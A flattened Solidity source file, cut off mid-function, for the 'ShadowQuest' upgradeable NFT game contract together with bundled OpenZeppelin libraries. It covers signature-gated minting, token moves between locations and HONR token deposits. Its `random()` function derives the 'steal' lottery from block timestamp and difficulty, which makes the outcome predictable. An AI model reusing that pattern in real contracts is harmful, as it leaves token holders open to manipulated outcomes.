//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol'; import './ERC721Upgradeable.sol'; interface IHonorToken { function updateBalance( address wallet, uint256 debit, uint256 credit ) external; function mint(address wallet, uint256 amount) external; function burn(address wallet, uint256 amount) external; function balanceOf(address wallet) external view returns (uint256); } /*** * .oooooo..o ooooo ooooo .o. oooooooooo. .oooooo. oooooo oooooo oooo * d8P' `Y8 `888' `888' .888. `888' `Y8b d8P' `Y8b `888. `888. .8' * Y88bo. 888 888 .8"888. 888 888 888 888 `888. .8888. .8' * `"Y8888o. 888ooooo888 .8' `888. 888 888 888 888 `888 .8'`888. .8' * `"Y88b 888 888 .88ooo8888. 888 888 888 888 `888.8' `888.8' * oo .d8P 888 888 .8' `888. 888 d88' `88b d88' `888' `888' * 8""88888P' o888o o888o o88o o8888o o888bood8P' `Y8bood8P' `8' `8' * * * * .oooooo. ooooo ooo oooooooooooo .oooooo..o ooooooooooooo * d8P' `Y8b `888' `8' `888' `8 d8P' `Y8 8' 888 `8 * 888 888 888 8 888 Y88bo. 888 * 888 888 888 8 888oooo8 `"Y8888o. 888 * 888 888 888 8 888 " `"Y88b 888 * `88b d88b `88. .8' 888 o oo .d8P 888 * `Y8bood8P'Ybd' `YbodP' o888ooooood8 8""88888P' o888o * * * */ contract ShadowQuest is OwnableUpgradeable, ERC721Upgradeable { event Move( address indexed owner, uint256 indexed tokenId, uint256 indexed direction ); event LocationChanged( uint8 indexed locationIdFrom, uint8 indexed locationIdTo, uint256 amount ); uint256 public constant MAX_GEN0_SUPPLY = 9996; uint256 public constant MAX_GEN1_SUPPLY = 18000; uint256 public constant SALE_PRIVATE_PRICE = 0.075 ether; uint256 public constant SALE_PUBLIC_PRICE = 0.08 ether; uint256 public SALE_PUBLIC_STARTED_AT; uint256 public SALE_PRIVATE_STARTED_AT; uint256 public SALE_PRIVATE_MAX_SUPPLY; uint256 public gen0Supply; uint256 public gen1Supply; string public provenanceHash; IHonorToken public honorContract; address private _proxyRegistryAddress; address private _verifier; string private _baseTokenURI; struct TokenMeta { address owner; uint32 movedAt; uint8 location; uint56 meta; } mapping(uint256 => TokenMeta) public tokenState; uint256[] internal _tokenStateKeys; mapping(address => uint16) public _tokenOwnerState; mapping(address => int16) private _balances; uint256 public locationsBalance; uint256[] public samsarIds; mapping(address => uint256) public honrDeposited; mapping(address => uint256) public honrWithdrawn; function initialize(address verifier_, address proxyRegistryAddress_) public initializer { __ERC721_init('ShadowQuest', 'SQ'); __Ownable_init(); _verifier = verifier_; _proxyRegistryAddress = proxyRegistryAddress_; SALE_PRIVATE_MAX_SUPPLY = 3000; } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal view override returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } function isOnArena(uint256 tokenId) internal view returns (bool) { return tokenState[tokenId].location > 0; } function actualOwnerOf(uint256 tokenId) public view returns (address) { if (tokenState[tokenId].owner != address(0)) { return tokenState[tokenId].owner; } address tokenIdOwner = address(uint160(tokenId)); uint16 tokenIndex = uint16(tokenId >> 160); require(_tokenOwnerState[tokenIdOwner] != 0, 'SQ: not minted'); require( tokenIndex < _tokenOwnerState[tokenIdOwner], 'SQ: invalid index' ); return tokenIdOwner; } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner_) public view virtual override returns (uint256) { require( owner_ != address(0), 'ERC721: balance query for the zero address' ); if (owner_ == address(this)) { return locationsBalance; } return uint16(int16(_tokenOwnerState[owner_]) + _balances[owner_]); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { if (isOnArena(tokenId)) { return address(this); } return actualOwnerOf(tokenId); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual override returns (bool) { if (tokenState[tokenId].owner != address(0)) { return true; } address tokenIdOwner = address(uint160(tokenId)); uint16 tokenIndex = uint16(tokenId >> 160); return (_tokenOwnerState[tokenIdOwner] != 0) && (tokenIndex < _tokenOwnerState[tokenIdOwner]); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual override { require( ownerOf(tokenId) == from, 'ERC721: transfer from incorrect owner' ); require(to != address(0), 'ERC721: transfer to the zero address'); require(to != from, "ERC721: can't transfer themself"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); if (tokenState[tokenId].owner == address(0)) { _tokenStateKeys.push(tokenId); } _balances[from] -= 1; _balances[to] += 1; tokenState[tokenId].owner = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } function _recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) { return ECDSAUpgradeable.recover( ECDSAUpgradeable.toEthSignedMessageHash(hash), signature ); } function random(uint256 nonce, uint256 number) internal view returns (uint256) { return uint256( keccak256( abi.encodePacked(block.timestamp, block.difficulty, nonce) ) ) % (number + 1); } event MintGen1( address indexed owner, uint256 indexed nonce, uint16 mintedAmount ); event Steal( address indexed owner, address indexed samsarOwner, uint256 indexed samsarId, uint256 tokenId ); function mintGen1( uint16 expectedAmount, uint256[] calldata samsarIds_, uint256 nonce, uint256 timestamp, bytes memory sig ) external { address sender = _msgSender(); uint16 tokenAmount = _tokenOwnerState[sender]; uint256 amount = expectedAmount - tokenAmount; require( amount > 0 && amount <= 10 && samsarIds_.length == amount, 'SQ: invalid amount' ); require( gen1Supply + amount < MAX_GEN1_SUPPLY, 'SQ: gen1 supply exceeded' ); require(block.timestamp < timestamp, 'SQ: outdated transaction'); bytes32 hash = keccak256( abi.encodePacked( sender, expectedAmount, samsarIds_, nonce, timestamp ) ); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); gen1Supply += amount; uint256 rand = random(nonce, 11 - amount); if (rand <= amount - 1) { address samsarOwner = actualOwnerOf(samsarIds_[rand]); uint256 tokenId = uint256(uint160(samsarOwner)) | (uint256(_tokenOwnerState[samsarOwner]) << 160); _tokenOwnerState[samsarOwner] += 1; amount -= 1; emit Transfer(address(0), samsarOwner, tokenId); emit Steal(sender, samsarOwner, samsarIds_[rand], tokenId); } uint256 ownerBase = uint256(uint160(sender)); uint16 minted; for (uint256 index; index < amount; index++) { emit Transfer( address(0), sender, ownerBase | (uint256(_tokenOwnerState[sender] + minted) << 160) ); minted += 1; } emit MintGen1(sender, nonce, minted); if (minted > 0) { _tokenOwnerState[sender] += minted; } } function move( uint8 locationIdFrom, uint8 locationIdTo, uint256[] calldata tokenIds, /** * nation, notIterable, samsarNotIterable */ uint256[] calldata tokenMeta, uint256 timestamp, bytes memory sig ) external { require(block.timestamp < timestamp, 'SQ: outdated transaction'); address sender = _msgSender(); bytes32 hash = keccak256( abi.encodePacked( sender, locationIdFrom, locationIdTo, tokenIds, tokenMeta, timestamp ) ); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); for (uint256 index; index < tokenIds.length; index++) { uint256 tokenId = tokenIds[index]; require( actualOwnerOf(tokenId) == sender, 'SQ: not owner of the token' ); TokenMeta storage _tokenMeta = tokenState[tokenId]; require( _tokenMeta.location == locationIdFrom, 'SQ: incorrect location' ); if (uint8(tokenMeta[index] >> 8) == 1) { _tokenStateKeys.push(tokenId); } if (uint8(tokenMeta[index] >> 16) == 1) { samsarIds.push(tokenId); } tokenState[tokenId] = TokenMeta({ owner: sender, movedAt: uint32(block.timestamp), location: locationIdTo, meta: uint8(tokenMeta[index]) }); if (locationIdTo == 0) { emit Transfer(address(this), sender, tokenId); } else if (locationIdFrom == 0) { emit Transfer(sender, address(this), tokenId); } } uint256 tokensAmount = tokenIds.length; if (locationIdFrom == 0) { locationsBalance += tokensAmount; } else if (locationIdTo == 0) { locationsBalance -= tokensAmount; } emit LocationChanged(locationIdFrom, locationIdTo, tokensAmount); } event HonrWithdraw( address indexed wallet, uint256 indexed nonce, uint256 amount ); function honrWithdraw( uint256 amount, uint256 expectedAmount, uint256 nonce, uint256 timestamp, bytes memory sig ) external { address sender = _msgSender(); bytes32 hash = keccak256( abi.encodePacked(sender, amount, expectedAmount, nonce, timestamp) ); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); require( honrWithdrawn[sender] + amount == expectedAmount, 'SQ: invalid transaction' ); honorContract.mint(sender, amount); honrWithdrawn[sender] += amount; emit HonrWithdraw(sender, nonce, amount); } event HonrDeposit(address indexed wallet, uint256 amount); function honrDeposit( uint256 amount, uint256 timestamp, bytes memory sig ) external { address sender = _msgSender(); bytes32 hash = keccak256(abi.encodePacked(sender, amount, timestamp)); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); honorContract.burn(sender, amount); honrDeposited[sender] += amount; emit HonrDeposit(sender, amount); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner_, address operator_) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(_proxyRegistryAddress); if (address(proxyRegistry.proxies(owner_)) == operator_) { return true; } return super.isApprovedForAll(owner_, operator_); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return gen0Supply + gen1Supply - locationsBalance; } struct TokenData { address owner; uint8 location; uint32 movedAt; uint56 meta; uint256 tokenId; } function sliceTokenStateArray( TokenData[] memory arr, uint256 start, uint256 length ) internal pure returns (TokenData[] memory) { TokenData[] memory result = new TokenData[](length); for (uint256 index; index < length; index++) { result[index] = arr[start + index]; } return result; } function getSamsarTokens() external view returns (uint256[] memory) { return samsarIds; } function getTokenStateKeys() external view returns (uint256[] memory) { return _tokenStateKeys; } /** * @dev location_ == -1 – any location */ function getOwnerTokens(address owner_, int8 location_) public view returns (TokenData[] memory) { require( owner_ != address(0), 'ERC721: balance query for the zero address' ); uint256 balance = balanceOf(owner_); TokenData[] memory ownedTokens = new TokenData[](balance); uint256 ownerBase = uint256(uint160(owner_)); uint256 mintedAmount = _tokenOwnerState[owner_]; uint256 resultIndex; for (uint256 index; index < mintedAmount; index++) { uint256 tokenId = ownerBase | (index << 160); TokenMeta storage currentTokenState = tokenState[tokenId]; if ( currentTokenState.owner == address(0) && (location_ == -1 || location_ == 0) ) { ownedTokens[resultIndex++] = TokenData({ owner: currentTokenState.owner, location: currentTokenState.location, movedAt: currentTokenState.movedAt, meta: currentTokenState.meta, tokenId: tokenId }); } else if (currentTokenState.owner == owner_) { if ( location_ == -1 || uint8(location_) == currentTokenState.location ) { ownedTokens[resultIndex++] = TokenData({ owner: currentTokenState.owner, location: currentTokenState.location, movedAt: currentTokenState.movedAt, meta: currentTokenState.meta, tokenId: tokenId }); } } } for (uint256 index = 0; index < _tokenStateKeys.length; index++) { if (resultIndex == balance) { break; } uint256 tokenId = _tokenStateKeys[index]; if (tokenState[tokenId].owner != owner_) { continue; } address tokenIdOwner = address(uint160(tokenId)); if (tokenIdOwner == owner_) { continue; } if ( location_ == -1 || tokenState[tokenId].location == uint8(location_) ) { TokenMeta storage currentTokenState = tokenState[tokenId]; ownedTokens[resultIndex++] = TokenData({ owner: currentTokenState.owner, location: currentTokenState.location, movedAt: currentTokenState.movedAt, meta: currentTokenState.meta, tokenId: tokenId }); } } return sliceTokenStateArray(ownedTokens, 0, resultIndex); } /* OwnerOnly */ function setVerifier(address verifier_) external onlyOwner { _verifier = verifier_; } function setBaseURI(string memory baseURI_) external onlyOwner { _baseTokenURI = baseURI_; } function setState( bool publicSaleState_, bool privateSaleState_, uint256 maxPresaleSupply_ ) external onlyOwner { SALE_PUBLIC_STARTED_AT = publicSaleState_ ? block.timestamp : 0; SALE_PRIVATE_STARTED_AT = privateSaleState_ ? block.timestamp : 0; SALE_PRIVATE_MAX_SUPPLY = maxPresaleSupply_; } function withdraw(uint256 amount) public onlyOwner { (bool success, ) = _msgSender().call{value: amount}(''); require(success, 'Withdraw failed'); } function withdrawAll() external onlyOwner { withdraw(address(this).balance); } function setHonorContract(IHonorToken honorContract_) external onlyOwner { honorContract = honorContract_; } function setLocationsBalance(uint256 amount) external onlyOwner { locationsBalance = amount; } function pushTokenStateKeys(uint256[] calldata tokenIds) external onlyOwner { uint256 tokensAmount = tokenIds.length; for (uint256 index; index < tokensAmount; index++) { _tokenStateKeys.push(tokenIds[index]); } } function _mintGen0(address sender, uint16 amount) internal { require( gen0Supply + amount <= MAX_GEN0_SUPPLY, 'SQ: gen0 supply overflow' ); uint16 tokensAmount = _tokenOwnerState[sender] + amount; uint256 ownerBase = uint256(uint160(sender)); for ( uint256 index = _tokenOwnerState[sender]; index < tokensAmount; index++ ) { emit Transfer(address(0), sender, ownerBase | (index << 160)); } _tokenOwnerState[sender] = tokensAmount; gen0Supply += amount; } function mintReserved(address wallet, uint16 amount) external onlyOwner { address receiver = wallet == address(0) ? _msgSender() : wallet; _mintGen0(receiver, amount); } function revertFalseMint(address wallet, uint16 amount) external onlyOwner { gen1Supply -= amount; _tokenOwnerState[wallet] -= amount; } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../StringsUpgradeable.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(false, 'Implementation required'); return 0; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { require(false, 'Implementation required'); return address(0); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), 'ERC721Metadata: URI query for nonexistent token' ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, 'ERC721: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721: approve caller is not owner nor approved for all' ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), 'ERC721: approved query for nonexistent token' ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved' ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved' ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { require(false, 'Implementation required'); return false; } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 